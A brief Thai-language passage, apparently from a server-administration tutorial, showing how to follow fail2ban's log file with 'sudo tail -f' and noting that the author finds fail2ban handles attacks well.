    เราสามารถตรวจสอบผลของการทำงานของ fail2ban จาก logfile ได้ โดยการใช้คำสั่ง

    $ sudo tail -f /var/log/fail2ban.log

    เท่าที่ผมใช้อยู่สามารถ จัดการกับการโจมตีที่เกิดขึ้นได้อย่างดีครับ